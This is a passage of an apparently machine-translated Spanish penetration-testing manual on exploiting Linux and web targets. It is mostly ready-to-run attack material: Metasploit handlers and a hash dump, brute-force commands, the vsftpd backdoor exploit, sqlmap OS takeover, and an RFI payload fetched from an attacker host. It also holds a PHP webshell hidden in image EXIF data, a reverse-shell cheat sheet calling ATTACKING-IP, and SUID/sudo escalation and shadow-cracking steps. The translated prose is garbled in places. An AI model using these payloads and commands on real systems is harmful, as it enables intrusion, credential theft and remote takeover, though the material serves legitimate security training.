útil basada en la interfaz de destino e inicie multi / handler en su
msfconsole

# msfconsole

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set PAYLOAD <Payload name>

msf5 exploit(multi/handler) > Set RHOST <Remote IP>

msf5 exploit(multi/handler) > set LHOST <Local IP>

msf5 exploit(multi/handler) > set LPORT <Local Port>

msf5 exploit(multi/handler) > Run

Después de obtener meterpreter shell, ejecute el comando "help",


mostrará lo que puede hacer en el sistema de destino

meterpreter > help

Para enumerar todos los comandos de ejecución en el sistema de


destino, ejecute "ejecutar pestaña + pestaña" y, al ingresar, se
mostrarán todos los comandos de ejecución.

Para volcar todos los hashes de usuario del sistema de destino,


use
meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY


8528c78df7ff55040196a9b670f114b6...

[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hashes...

Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4
775f676d4d10c09c1225a5c0a3:::

dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed
5abd30ac94ddeb3cf52d:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16a
e931b73c59d7e0c089c0:::

HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7
f8f9a6b5f69b9fd01502e6261e:::

SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404e
e:36547c5a8a3de7d422a026e51097ccc9:::

victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13e
d5abd30aa94ddeb3cf52d:::

meterpreter >

Evaluación de vulnerabilidad
Evaluación de la vulnerabilidad de la red

Introducción

aprenderemos sobre la evaluación de vulnerabilidades, cómo


realizarla y las herramientas para realizar una evaluación de
vulnerabilidades.

¿Qué es la evaluación de vulnerabilidades?

La evaluación de vulnerabilidades es el proceso que usamos para


ordenar la lista de vulnerabilidades presente en el sistema de
destino. Explotamos el sistema de destino utilizando
vulnerabilidades y lagunas encontradas en el sistema de destino.

¿Cómo hacer una evaluación de la vulnerabilidad?

Podemos hacer una evaluación de la vulnerabilidad de dos


formas:

Manualmente: utilizando nuestro hallazgo anterior en el sistema


de destino.
Automatizado: uso de la herramienta de evaluación de
vulnerabilidades.

Hemos discutido los hallazgos sensibles de la red de destino


utilizando enfoques manuales, en este libro discutiremos las
herramientas de evaluación de redes automatizadas y cómo
usarlas.

Escaneo de vulnerabilidades de Nmap

Como hemos comentado, Nmap es una herramienta poderosa,


también podemos usarla para escanear vulnerabilidades en el
sistema de destino.

# nmap --script vulners -sV <TargetIP>

O también puede especificar puertos particulares para buscar


vulnerabilidades.

# nmap --script vulners -sV -p 21-443 <TargetIP>

Si desea ejecutar todos los análisis de vulnerabilidades en el script


de Nmap

# nmap --script vuln <TargetIP>

Ejecutará todos los scripts contra el objetivo y dará resultados


valiosos ...
Evaluación de vulnerabilidad a través de Metaspoit

Metasploit-framework es una herramienta poderosa, también


podemos usarla para realizar evaluaciones de vulnerabilidad
contra el objetivo.

Usando openvas en metasploit

openvas viene preconfigurado en Parrot-OS, podemos usarlo


directamente o integrarlo con el framework Metasploit.

Establecer credenciales de openvas

# openvasmd -- -user=admin -- -new-password=password

Ejecute msfconsole

# msfconsole

Para ejecutar msfconsole, primero debe cargarlo

msf5 > load openvas

[*] Welcome to OpenVAS integration by kost and


averagesecurityguy.
[*]

[*] OpenVAS integration requires a database connection. Once the

[*] database is ready, connect to the OpenVAS server using


openvas_connect.

[*] For additional commands use openvas_help.

[*]

[*] Successfully loaded plugin: OpenVAS

Lista de comandos

msf5 > openvas_help

Conectar openvas

msf5 > openvas_connect <openvas username> <openvas


password> <host port> <ssl-confirm>

msf5 > openvas_connect admin password localhost 9900 ok

registrar objetivo para escanear

msf5 > openvas_target_create “Dushman” 192.168.0.1 “Myscan”

Ahora verifique la lista de configuración de openvas

msf5 > openvas_config_list


comprobar la lista de objetivos

msf5 > openvas_target_list

Y crea una tarea

openvas_task_create <scanname> <comment> <scanconfig ID>


<targetID>

msf5 > openvas_task_create Dushman Myscan 3 1

Y comienza la tarea

openvas_task_start <taskID>

msf5 > openvas_task_start 0

para comprobar la lista de tareas y el estado

msf5 > open_vas_list

Después de completar el informe de recopilación de análisis

msf5 > openvas_report_list

Puede recopilar informes en muchos formatos de archivo

msf5 > openvas_format_list

Para recopilar el informe a continuación está la sintaxis


openvas_report_download <report id> <format id> <path for
saving report> <report name>

Recopilemos el informe en html.

msf5 > openvas_report_download 1 2 ~/Desktop dushman

Está hecho, compruébalo en tu escritorio

Usando Nessus en Metasploit

Ejecute msfconsole en su terminal

# msfconsole

msf5 > load Nessus

[*] Nessus Bridge for Metasploit

[*] Type nessus_help for a command listing

[*] Successfully loaded plugin: Nessus

msf5 > nessus_help

Explotación de Linux

Enfoques para la explotación de Linux

Introducción
buscaremos varios enfoques para explotar el destino de Linux y
obtener acceso remoto.

Después de identificar las vulnerabilidades, ahora las


aprovecharemos para acceder al objetivo de forma remota.

Los enfoques básicos para explotar la red objetivo:

¿Qué servicios se están ejecutando en la red de destino?

¿Cuál es la versión de los servicios en ejecución?

¿Son explotables para cualquier CVE público?

¿Algún exploit público disponible para esos servicios?

¿Habíamos encontrado alguna vulnerabilidad potencial en


nuestras fases anteriores?

¿Alguna información sensible que encontramos?

¿Alguna credencial que encontramos en fases anteriores?


Cualquier vulnerabilidad de la aplicación web para obtener acceso
a nivel del sistema

¿El sitio web también tiene un panel de administración / panel de


control o se está ejecutando algún servicio, son explotables?

Puede haber más enfoques, depende de las habilidades del


pentester y el alcance del pentesting y los escenarios.

Searchsploit

Searchsploit se utiliza para encontrar exploits de cualquier servicio


de red explotable, servicios web en la red de destino.

Permite buscar exploits y shellcodes utilizando uno o más términos


de Exploit-DB.

Instalación de Searchsploit

# apt update && apt -y install exploitdb

Después de la instalación, puede usarlo fácilmente


searchsploit Linux kernel 3.2

Usémoslo para encontrar un exploit para el kernel de Linux

$ searchsploit linux kernel 4. | head

---------------------------------------------- ---------------------------------

Exploit Title | Path

---------------------------------------------- ---------------------------------

BSD/Linux Kernel 2.3 (BSD/OS 4.0 / FreeBSD 3. | bsd/dos/19423.c

HP-UX 11 / Linux Kernel 2.4 / Windows 2000/NT |


multiple/dos/20997.c

Linux 4.18 - Arbitrary Kernel Read into dmesg |


linux/dos/45405.txt

Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14. | linux_x86-


64/local/42275.c

Linux Kernel (Debian 7/8/9/10 / Fedora 23/24/ |


linux_x86/local/42274.c

Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16 |


linux_x86/local/42276.c

Linux Kernel (PonyOS 4.0) - 'fluttershy' LD_L | linux/local/41875.py


Supongamos que el objetivo está ejecutando Apache 5.3,
verifiquemos el exploit disponible para este servicio.

$ searchsploit apache 5.3| head

---------------------------------------------- ---------------------------------

Exploit Title | Path

---------------------------------------------- ---------------------------------

Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Rem |


php/remote/29290.c

Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Rem |


php/remote/29290.c

Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code |


php/remote/29316.py

Apache ActiveMQ 5.2/5.3 - Source Code Informa |


multiple/remote/33868.txt

Apache ActiveMQ 5.3 - 'admin/queueBrowse' Cro |


multiple/remote/33905.txt

Apache Tomcat < 5.5.17 - Remote Directory Lis |


multiple/remote/2061.txt

Apache Tomcat < 6.0.18 - 'utf8' Directory Tra |


multiple/remote/6229.txt

Para encontrar la URL del exploit, simplemente use -w.

$searchsploit -w apache 5.3| head

----------------------------------- --------------------------------------------
Exploit Title | URL

----------------------------------- --------------------------------------------

Apache + PHP < 5.3.12 / < 5.4.2 - | https://www.exploit-


db.com/exploits/29290

Apache + PHP < 5.3.12 / < 5.4.2 - | https://www.exploit-


db.com/exploits/29290

Apache + PHP < 5.3.12 / < 5.4.2 - | https://www.exploit-


db.com/exploits/29316

Apache ActiveMQ 5.2/5.3 - Source C | https://www.exploit-


db.com/exploits/33868

Apache ActiveMQ 5.3 - 'admin/queue | https://www.exploit-


db.com/exploits/33905

Apache Tomcat < 5.5.17 - Remote Di | https://www.exploit-


db.com/exploits/2061

Apache Tomcat < 6.0.18 - 'utf8' Di | https://www.exploit-


db.com/exploits/14489

De esta manera, puede encontrar fácilmente exploits para una


vulnerabilidad en particular, y estos exploits también están
disponibles con POC que lo ayudan paso a paso a ejecutar exploits
contra el objetivo.

Explotación de frutas colgantes inferiores


La explotación de Lower Hanging Fruits (LHF) es el proceso para
aprovechar los hallazgos de las fases anteriores para explotar el
sistema de destino.

Este enfoque también ahorra tiempo y esfuerzos de los pentesters.

Frutos colgantes inferiores, significa:

Servidores mal configurados

ACL no implementadas o mal implementadas

Contraseñas predeterminadas o débiles (fáciles de adivinar)

Acciones compartidas SMB abiertas / Sesiones nulas

Solicitudes de difusión

Vulnerabilidades relacionadas con exploits públicos

Etc.
Hemos aprendido algunos de ellos anteriormente, si recuerdas,
este es el momento adecuado para recordarlos.

Usando Medusa para explotar LHF

Medusa está destinado a ser un veloz, masivamente paralelo,


modular, de inicio de sesión de fuerza bruta. El objetivo es admitir
tantos servicios que permitan la autenticación remota como sea
posible.

$ man medusa

Para ver el uso de medusa

$ medusa -h

Para enumerar los módulos disponibles de medusa

$ medusa -d

Puede ver que hay muchos módulos, pero si desea conocer un


módulo específico

$ medusa -M ftp -q

Te dirá todo sobre los módulos ftp.


Para explotar el objetivo usando medusa, primero necesitamos
tener una lista de palabras que podamos generar usando
herramientas cewl / cupp, o podemos adivinar manualmente la
convención de nomenclatura de los servicios de destino, ejecutar
aplicaciones web.

Uso básico de medusa

$ medusa -h <targetIp> -M ftp -U usernames.txt -P passwords.txt

Ncrack

Ncrack está diseñado para que las empresas y los profesionales de


la seguridad auditen grandes redes en busca de contraseñas
débiles o predeterminadas de manera rápida y confiable. También
se puede utilizar para realizar ataques de fuerza bruta bastante
sofisticados e intensivos contra servicios individuales.

Ncrack también tiene sus listas de palabras disponibles, para


verificar:

$ ls -l /usr/share/ncrack/

total 904

-rw-r--r-- 1 root root 5754 Aug 28 2019 common.usr

-rw-r--r-- 1 root root 47070 Aug 28 2019 default.pwd

-rw-r--r-- 1 root root 3451 Aug 28 2019 default.usr


-rw-r--r-- 1 root root 22414 Aug 28 2019 jtr.pwd

-rw-r--r-- 1 root root 266 Aug 28 2019 minimal.usr

-rw-r--r-- 1 root root 356352 Aug 28 2019 myspace.pwd

-rw-r--r-- 1 root root 748 Aug 28 2019 ncrack-services

-rw-r--r-- 1 root root 58472 Aug 28 2019 phpbb.pwd

-rw-r--r-- 1 root root 410725 Aug 28 2019 top50000.pwd

ncrack -h

Para especificar un objetivo

ncrack 10.10.10.180

ncrack me.hacker.com

Ncrack admite FTP, Telnet, SSH, HTTP / HTTPS, POP3 (S), SMB,
RDP, VNC

USO:

ncrack <service_name>://target:<port_number>

Apuntemos a ssh

ncrack ssh 10.10.10.135


también podemos especificar el puerto

ncrack ssh://10.10.10.135:187 // Suppose ssh is running on port


187

Usando hydra para explotar contraseñas débiles

hydra es un cracker de inicio de sesión de red muy rápido que


admite muchos servicios diferentes

uso:

$ hydra -h

-L - Lista de nombres de usuario -P - Lista de contraseñas

hydra -L users.txt -P passwords.txt ssh://10.10.10.135

Explotación

El proceso de aprovechar las vulnerabilidades de destino para


obtener acceso remoto en el sistema de destino y aprovechar el
acceso para realizar actividades maliciosas en el sistema de
destino.
Habiendo encontrado vulnerabilidades en el sistema de destino,
ahora proceda a explotarlas.

searchsploit -w apache tomcat 5.5

----------------------------------- --------------------------------------------

Exploit Title | URL

----------------------------------- --------------------------------------------

Apache Tomcat 5.5.0 < 5.5.29 / 6.0 | https://www.exploit-


db.com/exploits/12343

Apache Tomcat 5.5.15 - cal2.jsp Cr | https://www.exploit-


db.com/exploits/30563

Apache Tomcat 5.5.25 - Cross-Site | https://www.exploit-


db.com/exploits/29435

Apache Tomcat < 5.5.17 - Remote Di | https://www.exploit-


db.com/exploits/2061

Apache Tomcat < 6.0.18 - 'utf8' Di | https://www.exploit-


db.com/exploits/14489

Apache Tomcat < 6.0.18 - 'utf8' Di | https://www.exploit-


db.com/exploits/6229

Apache Tomcat < 9.0.1 (Beta) / < 8 | https://www.exploit-


db.com/exploits/42953

Apache Tomcat < 9.0.1 (Beta) / < 8 | https://www.exploit-


db.com/exploits/42966
Tiene dos opciones: puede descargar directamente el exploit de
exploit db y ejecutarlo para obtener acceso no autorizado al
objetivo.

O use metasploit para hacer esta tarea por usted.

Primero, comience adivinando la contraseña, ya que es una fruta


madura.

# msfconsole

# search tomcat_mgr_login

Matching Modules

================

# Name Disclosure Date Rank Check


Description

- ---- --------------- ---- ----- -----------

0 auxiliary/scanner/http/tomcat_mgr_login normal
No Tomcat Application Manager Login Utility

msf5 > use auxiliary/scanner/http/tomcat_mgr_login

msf5 auxiliary(scanner/http/tomcat_mgr_login) >

Usando el comando "mostrar opción" podemos ver las opciones


requeridas para configurar.

msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rhost


10.10.10.150
rhost => 10.10.10.150

msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rport 8180

rport => 8180

msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rport 8080

rport => 8080

msf5 auxiliary(scanner/http/tomcat_mgr_login) > set


STOP_ON_SUCCESS true

STOP_ON_SUCCESS => true

msf5 auxiliary(scanner/http/tomcat_mgr_login) > set ssl true

[!] Changing the SSL option's value may require changing RPORT!

ssl => true

msf5 auxiliary(scanner/http/tomcat_mgr_login) > run

Esto se ejecutará y nos dará el resultado deseado.

Después de obtener las credenciales, puede iniciar sesión en el


administrador de apache tomcat y podrá realizar acciones
maliciosas.

También podemos utilizar técnicas anteriores.

Explotar el servidor FTP v2.3.4 usando metasplolit

> search vsftpd

Matching Modules
================

# Name Disclosure Date Rank Check


Description

- ---- --------------- ---- ----- -----------

0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03
excellent No VSFTPD v2.3.4 Backdoor Command Execution

Usar exploit

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOSTS yes The target host(s), range CIDR


identifier, or hosts file with syntax 'file:<path>'

RPORT 21 yes The target port (TCP)

Exploit target:

Id Name
-- ----

0 Automatic

Set options

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST


10.10.10.158

RHOST => 10.10.10.158

El puerto ya está configurado en 21.

Comando ejecutar / explotar de uso simple

msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

Y se ejecutará y, si tiene éxito, le dará un shell de meterpreter.

Para obtener el shell de destino adecuado, use el comando "shell"


en meterpreter.

Y suponga que si no tiene el shell tty adecuado, puede usar python


one-liner para obtener el shell TTY

python -c 'import pty; pty.spawn("/bin/sh")'

Enfoques de la explotación web


Introducción

aprenderemos sobre la explotación web para obtener un shell


remoto en el sistema de destino, aprovecharemos algunas
vulnerabilidades que pueden comprometer el sistema de destino,
como SQLi, inclusión de archivos, inyección de comandos, carga de
archivos.

Antes de esto, quiero explicarte algunos conceptos básicos sobre


las conchas.

Revertir caparazón y atar caparazón

Enlazar caparazón

Es un tipo de shell en el que la máquina de destino establece un


oyente o abre una conexión en la máquina de destino y espera
una solicitud de conexión entrante.

Concha inversa

Es lo opuesto a enlazar shell, en shell inverso, la máquina de


destino solicita a la máquina atacante que escucha una conexión,
para establecer una conexión. En el shell inverso, la máquina
atacante espera una conexión.
El uso básico de ambos es tener acceso al sistema objetivo,
ejecutar y realizar acciones maliciosas en el objetivo.

Puerta trasera web

Una puerta trasera web es la secuencia de comandos cargada por


el atacante en la aplicación web de destino para obtener acceso
remoto en el destino.

inyección SQL

La inyección SQL es un tipo de ataque en el que un atacante puede


inyectar sus consultas SQL arbitrarias como entrada, para obtener
el resultado deseado como resultado.

La razón detrás de esta vulnerabilidad es la desinfección


inadecuada de la entrada y la confianza en la entrada
proporcionada por el usuario.

No solo afecta a las aplicaciones web, sino que también puede


comprometer el servidor web.
Aprovecharemos SQLi para acceder al sistema de destino.
Usaremos el mapa SQL para este propósito, también hay muchas
opciones manuales para la toma de control del servidor que
discutiremos más adelante.

Sqlmap

Es una poderosa herramienta de inyección de SQL que se utiliza


para explotar tipos de vulnerabilidades de SQL automáticamente
en el sistema de destino.

# man sqlmap

# sqlmap -h

Sqlmap viene preconfigurado en ParrotOS

Suponga que encuentra una vulnerabilidad de SQL en aplicaciones


web mientras realiza pruebas de fases anteriores.

Y la URL es:

https://www.target.com/user/profile?id=1

Usaremos sqlmap para explotar el parámetro "id", ya que lo


encontramos vulnerable a SQLi.

# sqlmap -u https://www.target.com/user/profile?id=1 --dbs


Esto enumerará todas las bases de datos y nos dará resultados
valiosos sobre los datos almacenados.

Supongamos que obtenemos el resultado de la base de datos:

targetcorp

phpmyadmmin

information_schema

mysql

Ahora que tenemos bases de datos, usemos la función os pwn


para obtener acceso al servidor web.

# sqlmap -u https://www.target.com/user/profile?id=1 -D
targetcorp --os-pwn

Te hará alguna pregunta como

How do you want to establish the tunnel?

[1] TCP: Metasploit Framework (default)

[2] ICMP: icmpsh - icmp tunneling

seleccione 1
>1

De esta manera, debe seleccionar el idioma de la aplicación web,


seleccionar el idioma y luego de eso, le pedirá que seleccione el
directorio 1.

Después de eso, le pedirá que desee usar, puede usar cualquier


persona, seleccione 1 para meterpreter, después de eso, carga
instantáneamente el marco de Metasploit y le da el shell de
meterpreter.

Podemos usar otra característica de sqlmap también el nombre '–


os-shell'

# sqlmap -u https://www.target.com/user/profile?id=1 -D
targetcorp --os-shell

Vulnerabilidad de inclusión de archivos

Hay dos tipos de vulnerabilidades de inclusión de archivos:


Inclusión de archivos locales e Inclusión de archivos remotos,
según la ubicación del archivo a incluir.

La razón detrás de esta vulnerabilidad es la función "include ()",


donde los caracteres de ruta no se eliminan de la entrada y la
entrada se usa como parte de un "include ()".
Explotación de la inclusión de archivos locales

En LFI podemos incluir cualquier archivo local en la página web.

Supongamos que en fases anteriores encontramos una URL


vulnerable a LFI, ahora vamos a explotarla.

URL: http://targetcorp.com/index.php?file=welcome.php

Cambiemos la URL a nuestra URL de inclusión de archivo


arbitraria.

URL: http://targetcorp.com/index.php?file=../../../etc/passwd

Incluirá todo el contenido del archivo / etc / passwd en la página


web.

De esta manera, puede incluir cualquier archivo y ver el contenido


de ese archivo.

Explotación de la inclusión de archivos remotos


En RFI podemos incluir cualquier archivo remoto y ejecutarlo en
lugar de solo inclusión.

En fases anteriores, encontramos una URL que es vulnerable a RFI.

URL: http://targetcorp.com/vuln.php?file=

Como puede ver, el parámetro "archivo" es vulnerable a RFI y


podemos aprovechar su ejecución remota de código en el sistema
de destino.

Para aprovechar esta vulnerabilidad no debemos incluir el archivo


'php' en nuestro servidor atacante, de lo contrario, lo ejecutará en
el servidor atacante.

Simplemente podemos cambiar la extensión del archivo a ".txt" e


incluirlo en la URL de destino, así.

http://targetcorp.com/vuln.php?file=atacker.com/shell.txt

También podemos usar metasploit para explotar estas


vulnerabilidades.

msf5 > use exploit/unix/webapp/php_include

msf5 exploit(unix/webapp/php_include) > show options


Le dará opciones para configurar, necesita configurar solo algunas
de ellas que son requeridas

msf5 exploit(unix/webapp/php_include) > set path vuln.php?file=

path => vuln.php?file=

msf5 exploit(unix/webapp/php_include) > set rhost 10.10.10.123

rhost => 10.10.10.123

msf5 exploit(unix/webapp/php_include) > set rport 443

rport => 443

msf5 exploit(unix/webapp/php_include) > show payloads

msf5 exploit(unix/webapp/php_include) > set payload


php/bind_php

payload => php/bind_php

msf5 exploit(unix/webapp/php_include) > run

Boom, obtendrás el shell meterpreter al instante.

Explotación de la inyección de comandos

La inyección de comandos es la vulnerabilidad que utiliza la


entrada del usuario para ejecutar comandos arbitrarios en el
servidor web. También puede ejecutar la carga útil del atacante
en el sistema host.
En el pasado, hemos encontrado la inyección de comandos en la
aplicación web de destino, ahora la explotaremos y obtendremos
un shell inverso.

El campo de entrada vulnerable está tomando direcciones IP como


entrada para probar su velocidad, por lo que aprovecharemos
esta funcionalidad.

Primero iniciaremos el oyente Netcat en el sistema de los


atacantes.

En la máquina del atacante

# nc -lvp 1337

En el campo de entrada de la aplicación de destino

& nc <attacker IP> 4444 -e /bin/bash

Y obtendrá una capa inversa del sistema de destino.

Explotación de la vulnerabilidad de carga de archivos


La vulnerabilidad de carga de archivos sin restricciones permite
que un atacante cargue su archivo malicioso en el servidor web
objetivo y comprometa el objetivo de la forma deseada por el
atacante.

La razón detrás de esto no es implementar restricciones en los


archivos cargados por el usuario.

En fases anteriores, hemos encontrado una vulnerabilidad de


carga de archivos sin restricciones en la aplicación web de destino.

Contamos con una página web que nos permite subir una imagen

http://target.com/uploadpicture.php

Y si subimos una imagen la imagen estará disponible en la


siguiente URL

http://target.com/pictures/<imagename>

podemos cargar fácilmente nuestra puerta trasera php y obtener


la ejecución remota de código desde ella

cree un archivo php con el siguiente código y cárguelo en la web


de destino

<?php echo "<pre>"; system($_GET['cmd']); ?>

http://target.com/pictures/hackershell.php?cmd=ls
Supongamos que hay una restricción, solo podemos cargar
archivos de imagen y las aplicaciones web también están
verificando el contenido del archivo, por lo que tampoco podemos
cargar archivos después de simplemente cambiar su extensión.

Ahora podemos usar ExifTool

# man exiftool

Para hacer una carga útil exif, simplemente agregamos nuestro


código a la imagen

# exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']);


?>' hackershell.jpg

Y copie el archivo a

cp hackershell.jpg hackershell.php.jpg

Ahora puedes subirlo con éxito

http://target.com/pictures/hackershell.php?cmd=ls

También puede obtener webshells desde su Parrot OS

$ cd /usr/share/webshells

$ls
asp aspx cfm jsp laudanum perl php

Explotación posterior de Linux

Enumeración posterior de Linux

Introducción

analizaremos los enfoques manuales de enumeración de


publicaciones de Linux, para conocer el host comprometido y sus
servicios.

Después de una explotación exitosa, ahora tenemos que recopilar


información sobre el sistema para escalar los privilegios y extraer
datos valiosos del sistema de destino.

El primer comando a ejecutar es "id" para conocer la información


del usuario actual.

id

Obtener información del kernel del sistema para buscar cualquier


exploit disponible para esa versión del kernel en particular.

uname -a

Para ver nombres de host conocidos en el sistema de destino


cat /etc/hosts

Conocer el sistema operativo actual y su versión.

cat /etc/issue

Para comprobar la información de las interfaces ip

ifconfig

Para verificar los procesos en ejecución en el sistema de destino

ps auxw

ps ef

Para comprobar las rutas de la red con el fin de utilizar esta


información para pivotar

route -n

Para comprobar las conexiones de red TCP y UDP actuales

netstat -auntp

watch ss -twurp

netstat -antu

Conocer el servidor DNS para obtener información sobre cuentas


de Active Directory, transferencias de zona, etc.

cat /etc/resolv.conf

Para comprobar la comunicación con otras máquinas


arp -a

Para saber a qué acceden nuestros usuarios actuales

find / -user <username>

Para comprobar el último usuario que inició sesión

last -a

Para comprobar quién está conectado y qué están haciendo

Para comprobar la información de UID y GID de todos los usuarios

cat /etc/passwd

Para comprobar cuántas cuentas root hay en el sistema

cat /etc/passwd |cut -f1,3,4 -d":" |grep "0:0"|cut -f1 -d":" |awk
'{print $1}'

Para comprobar grupos

cat /etc/group

Para encontrar todos los ejecutables SUID

find / -perm -4000 -type f 2>/dev/null

Leer archivos de configuración para obtener información


confidencial como contraseña

grep “password” /etc/*.conf 2> /dev/null

Para verificar el acceso de sudo del usuario actual

Verifique el acceso a sudo del usuario actual

sudo -l
Si se nos permite leer el archivo de sombra

cat /etc/shadow

Para encontrar archivos que se pueden escribir en todo el mundo

find / -perm -0002 -type d 2>/dev/null

Para enumerar todos los trabajos cron

crontab -l

PARA verificar los permisos de los archivos / directorio raíz

ls -als /root/*

Busque la cadena "usuario" y "contraseña" en el registro de


acceso de Apache / nginx

cat /var/log/apache/access.log |grep -E “^user|^pass”

Para obtener información de cronjob

ls -als /etc/cron.*

Para comprobar cronjobs grabables para el usuario

find /etc/cron* -type f -perm -o+w -exec ls -l {} \;

Para comprobar cualquier cuenta LDAP, local o NIS

getent passwd

Para volcar la información de la base de datos de usuarios de


Samba

pdbedit -L -w

pdbedit -L -v

Para comprobar los softwares instalados en el sistema


dpkg –l

Busque servicios en /etc/init.d que no sean propiedad de root y


enumere sus permisos

find /etc/init.d/ ! -uid 0 -type f 2>/dev/null |xargs ls -la

Para enumerar los servicios en ejecución

service --status-all

Para comprobar la configuración de syslog

cat /etc/syslog.conf

Para encontrar todos los archivos de configuración

find / -name *.conf 2> /dev/null

Post explotación de Linux

Escalada manual de Linux

Introducción

discutiremos algunos enfoques para escalar nuestros privilegios.


Recomiendo aprender esta técnica en profundidad para usarla en
el futuro.

Pasando por alto el caparazón restringido

Suponga que tiene acceso exitoso al sistema de destino pero no


puede ejecutar algunos comandos en él, está restringido para
hacerlo.
Algunos enfoques básicos para eludir el shell restringido y obtener
un shell del sistema completamente interactivo y estas técnicas
también se pueden usar para escalar los privilegios del usuario al
root (depende de la configuración del sistema de destino).

Usando Python

python3 -c "import pty;pty.spawn('/bin/sh');"

python3 -c 'import os; os.system("/bin/sh");'

También puede otorgarle privilegios de root si Python se ejecuta


como root.

Usando vi

vi

:set shell=/bin/sh

:shell

Usando ed

ed

! '/bin/sh'

Usando Perl

perl -e 'system("/bin/sh");'

Usando awk

awk 'BEGIN {system("/bin/sh")}'

Carcasa TTY

echo os.system('/bin/bash')

/bin/sh –i
execute('/bin/sh')

Si permitió ejecutar nc, php, ruby, perl, puede tomar shell inverso
desde allí.

Inicie el oyente en su máquina atacante

# nc -nlvp 1337

Iniciar shell inverso en el objetivo

Cáscara de Bash Reverse

bash -i >& /dev/tcp/ATTACKING-IP/1337 0>&1

Shell inverso PHP

php -r '$sock=fsockopen("ATTACKING-IP",1337);exec("/bin/sh -i
<&3 >&3 2>&3");'

(Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6)

Carcasa inversa Netcat

nc -e /bin/sh ATTACKING-IP 1337

rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 1337 0/tmp/p

Shell inverso Telnet

telnet ATTACKING-IP 1337 | /bin/bash | telnet ATTACKING-IP


1337

Concha inversa de Perl

perl -e 'use Socket;$i="ATTACKING-


IP";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("t
cp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&
S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Concha inversa rubí

ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec


sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Shell inverso de Python

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK
_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Escalamiento de privilegios de archivos binarios SUID / SGID

SUID y SGID (abreviatura de "establecer ID de usuario" y


"establecer ID de grupo") son indicadores de derechos de acceso
de Unix que permiten a los usuarios ejecutar un ejecutable con los
permisos del propietario o grupo del ejecutable respectivamente y
cambiar el comportamiento en los directorios. A menudo se
utilizan para permitir que los usuarios de un sistema informático
ejecuten programas con privilegios elevados temporalmente para
realizar una tarea específica. Si bien los privilegios de
identificación de usuario asumidos o de identificación de grupo
proporcionados no siempre son elevados, como mínimo son
específicos.

Usando el comando a continuación, podemos listar archivos SUID

find / -perm -4000 -type f 2>/dev/null

Explotación de SUID comunes

GREP Para leer datos de un archivo

file = /etc/shadow

grep '' $file


Nmap para generar el shell del sistema

nmap --interactive

nmap> !sh

apt-get Para generar shell raíz

apt-get changelog apt

!/bin/sh

Buscar para generar cáscara de raíz

find . -exec /bin/sh \; -quit

Nano

nano

<ctrl + R> <ctrl + X>

reset; sh 1>&0 2>0

Permisos de sudo

Sudo proporciona permisos del sistema a los usuarios de forma


temporal para permitirles ejecutar comandos como root.

Todos los sudoers se pueden encontrar en el archivo / etc /


sudoers

Para verificar el permiso o el estado de sudo para el usuario actual

sudo -l

La salida nos mostrará qué puede hacer el usuario con sudo.

Escalada de privilegios de Sudo


menos

sudo less /etc/shadow

!sh

más

sudo more /etc/shadow

!sh

gdb

sudo gdb <anyfile>

!sh

hombre

sudo man -P "cat /etc/shadow" man

Cracking Shadow y otros hashes

Hash de sombra

Uso de sombra SHA512 identifica por $ 6 $, SHA256 identifica por


$ 5 $, MD5 identifica por $ 1 $

sombra de grieta

$ unshadow /etc/passwd_file /etc/shadowfile > unshadow.john

$ john unshadow.john --wordlist=/usr/share/wordlists/rockyou.txt


También puede agregar su lista de palabras personalizada

crack ssh clave

ssh2john.py encrytedkey > key.john

$ john key.john --wordlist=/usr/share/wordlists/rockyou.txt

base64

echo 'hash' | base64 -d

Para identificar hash

hashid <filename>

Para comprobar el hash md5 de un archivo

md5sum <filename>

Puedes usar John para romper casi cualquier cosa.

Utilizando la información de la enumeración posterior, también


podemos buscar vulnerabilidades del kernel, vulnerabilidades de
servicio y también verificar módulos de metasploit

También podemos verificar si hay desbordamiento de búfer,


secuestro de PATH (strace / ltrace, ldd, strings para ver si el
binario está ejecutando algo más, por ejemplo: ls, sin / bin),
verifique la inyección de objeto compartido (.so) de strace

Para conocer las bibliotecas estáticas (a) y las bibliotecas de


objetos compartidos vinculados dinámicamente (.so), haga clic
aquí

Bibliotecas de objetos compartidos absolutos

binarios que tienen permisos SUID o SUDO


Para ver los objetos compartidos cargados por / usr / local / bin
/ usaremos 'ldd'

$ ldd /usr/local/bin/program_name

Para ver las opciones Runpath y Rpath en binario usaremos


'objdump'

$ objdump /usr/local/bin/program_name | grep RPATH

